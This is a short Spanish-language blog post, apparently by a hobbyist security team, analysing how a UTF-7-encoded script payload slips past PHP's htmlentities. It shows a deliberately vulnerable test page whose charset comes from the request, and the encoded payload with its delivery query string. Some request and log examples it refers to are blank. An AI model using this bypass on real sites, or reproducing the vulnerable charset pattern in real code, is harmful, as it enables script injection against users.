UTF-7 XSS analisís
Una noche mas de investigación, esta vez hice una serie de pruebas para la explotación del xss mediante utf-7, si ya es muy bien conocido de todos modos me di a la tarea de ver como funciona internamente ya que en mas de una ocasión no se interpretaba debido a las deformaciones de la cadena por el intercambio de codificaciones entre el documento, navegador ó servidor, y como era de esperarse algunas condiciones son muy curiosas.
file: test.php
$cs=htmlentities($_GET['charset']); /* Charset */
$txt=htmlentities($_GET['html']); /* text */
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $cs ?>" />
<title>test</title>
</head>
<body>
<?php echo $txt ?>
</body>
</html>
Ahora enviamos via get algunos valores malisiosos
Bien ahora veamos como el htmlentities no tiene nada que hacer ante un juego de caracteres UTF-7
echo iconv('iso-8859-1','UTF-7',"<script>alert('Malandrines.net');</script>");
Out:
+ADw-script+AD4-alert('Malandrines.net')+ADsAPA-/script+AD4-
y eviamos
?charset=utf-7
&html=+ADw-script+AD4-alert('Malandrines.net')+ADsAPA-/script+AD4-

Yo estoy utilizando una herramienta para hacer la peticion agena a la verdadera forma en que el navegador envia los datos al servidor
por ejemplo si usted envia directamente
su script no se ejecutara, porque?

veamos los logs de la peticion en cuestion
Log:
Como pueden ver internamente apache parseo ' a %27 pero los signos
+ no los paso a %2b
En la Codificación del URL se utiliza cuando se necesita usar un texto dentro del URL (en un QueryString, por ejemplo) para evitar que el motor de procesamiento confunda el texto con el URL mismo.
Para la indiada que confunde esto con el %20 xD Ejemplo:
http://yoursuckssite/MEGAN%20FOX.jpg
NO es lo mismo que:
http://yoursuckssite/MEGAN+FOX.jpg
Ni tampoco
http://yoursuckssite/MEGAN FOX.jpg
CUANDO LO QUE NECESITAMOS ES TOTALMENTE LO INVERSO, ES DECIR CONVERTIR LOS SIGNOS +
ok, ahora intentamos aplicando urlEncode antes de enviar
log:
Esta vez como se aprecia en el log, los signos + los paso a %2b al igual las comillas a %27
la respuesta sera devuelta al navegador de una forma interpretable ya que al hacer el decode interno, la cadena volvera a su estado original la cual si sera ejecutada.
EOF
salu2 by nesok Malandrines.net Internet Security Team.
gr33t'z : b3n0x, s0cK0 ,bik0linux,4zul, d1xZ0n, w3r0x, s0p0rt3 g33k, g4b0, p0is0n-[x], Dr4w, pukk3r, pancho4x0r, Ridiculo xD && all indians of world xD SH =***

